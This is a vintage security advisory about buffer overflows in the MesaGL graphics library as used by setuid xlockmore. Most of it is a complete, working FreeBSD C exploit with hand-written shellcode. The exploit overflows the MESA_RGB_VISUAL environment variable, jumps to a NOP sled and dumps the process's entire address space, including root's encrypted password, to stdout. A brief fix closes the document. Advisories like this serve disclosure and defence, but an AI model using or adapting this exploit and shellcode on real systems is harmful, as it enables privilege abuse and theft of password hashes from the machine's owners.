COMMAND
MesaGL (xlockmore)
SYSTEMS AFFECTED
Most systems
PROBLEM
Bjorn Smedman found following. MesaGL is a free OpenGL graphics
library replacement for unix/X11, windows, beos, apple and others.
There are many buffer overflows in this library, but fortunately
(and naturally) it's rarely used in suid/sgid programs. The
exception is xlookmore or if it is to use supported hardware
accelerators (for 3d).
Below is a FreeBSD program that will dump xlocks entire address
space, including roots encrypted password, to stdout. For it to
work, xlockmore must be built with MesaGL support.
/*
* Standard buffer overflow exploit. Executes the machine code in "shell"
* when given almost any FreeBSD executable using MesaGL's GLX as its
* argument.
*
* Tested with MesaGL 2.6, FreeBSD 2.2.5 and alot of GLX programs.
*
* Example: ./a.out /usr/local/bin/xlock
*
* THIS PROGRAM IS PROVIDED FOR INFORMATIONAL PURPOSES ONLY.
* ALSO, I DO NOT GARANTEE THIS PROGRAM TO WORK, OR NOT TO FRY
* YOUR COMPUTER.
*
* By bs <bs@oden.se>, 1998
*/
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <err.h>
/* The number of bytes after which we hit the return address */
#define OLEN (104)
/*
* Gas asm for "shell". Doesn't execve (would be useless), but dumps the
* entire address space of the process to stdout, page by page.
* Write will not send us a SIGSEGV but set errno to "Bad address",
* which we don't care about. We could probably be more picky about what
* range to dump, but that would make it less generic, and my P166 does
* this on xlockmore in 45 seconds.
*
* BUGS:
* Makes stack grow
* Self modifying
* ";" is not a gas comment, but what is?
* My asm experience equals zero
*
* By bs <bs@oden.se>, 1998
.data ; self modifying code :-(
.align 1
.globl _main
_main:
jmp instr
prepare:
popl %ebx ; syscall's address
xorl %eax,%eax
movb %al,0x1(%ebx) ; change strcpy friendly
movb %al,0x2(%ebx) ; 0xf to correct 0x0
movb %al,0x3(%ebx)
movb %al,0x4(%ebx)
movb %al,0x6(%ebx)
xorl %ecx,%ecx ; our data pointer
xorl %edx,%edx
movw $0x0fff,%edx
incl %edx ; step size 4096 (pagesize)
jmp again ; go to work
instr:
call prepare
syscall:
.byte 0x9a,0xf,0xf,0xf,0xf,0x7,0xf
ret
again:
xorl %eax,%eax
incl %eax
pushl %edx ; len (pagesize)
pushl %ecx ; pointer
pushl %eax ; 1 (stdout)
addb $0x3,%eax ; 1+3 (0x4 = write)
call syscall
addb $0xc,%esp
addl %edx,%ecx
jz exit ; ecx wraped -> exit
jmp again
exit:
xorl %eax,%eax
pushl %eax ; 0 (exit status)
incl %eax ; 1 (0x1 = exit)
call syscall
.byte 0x0 ; strcpy&co stops here
*
*
*/
unsigned char shell[] = {
0xeb, 0x1d, 0x5b, 0x31, 0xc0, 0x88, 0x43, 0x1, 0x88, 0x43, 0x2, 0x88,
0x43, 0x3, 0x88, 0x43, 0x4, 0x88, 0x43, 0x6, 0x31, 0xc9, 0x31, 0xd2, 0x66,
0xba, 0xff, 0xf, 0x42, 0xeb, 0xd, 0xe8, 0xde, 0xff, 0xff, 0xff, 0x9a, 0xf,
0xf, 0xf, 0xf, 0x7, 0xf, 0xc3, 0x31, 0xc0, 0x40, 0x52, 0x51, 0x50, 0x83,
0xc0, 0x3, 0xe8, 0xea, 0xff, 0xff, 0xff, 0x83, 0xc4, 0xc, 0x1, 0xd1, 0x74,
0x2, 0xeb, 0xe9, 0x31, 0xc0, 0x50, 0x40, 0xe8, 0xd8, 0xff, 0xff, 0xff, 0x0
};
/* Stolen from somebody. Is this better than a constant? Why? */
char *get_esp(void) {
asm("movl %esp,%eax");
}
int main(int argc, char **argv) {
char *nargv[10];
char mesa_rgb_visual[512];
char nopandshell[8096];
nargv[0] = (argc > 1 ? argv[1] : "./a.out");
nargv[1] = NULL;
memset(mesa_rgb_visual, 'a', sizeof(mesa_rgb_visual));
*((void **)&mesa_rgb_visual[OLEN]) = (void *)(get_esp() + 4096);
strcpy(&mesa_rgb_visual[OLEN+4], " 16");
setenv("MESA_RGB_VISUAL", mesa_rgb_visual, 1);
memset(nopandshell, 0x90, sizeof(nopandshell));
memcpy(nopandshell+sizeof(nopandshell)-sizeof(shell),
shell,
sizeof(shell));
setenv("SHELLCODE", nopandshell, 1);
execv(nargv[0], nargv);
err(1, "execve");
}
SOLUTION
Remove suid persmissions from xlockmore which will break something
but the risk is high.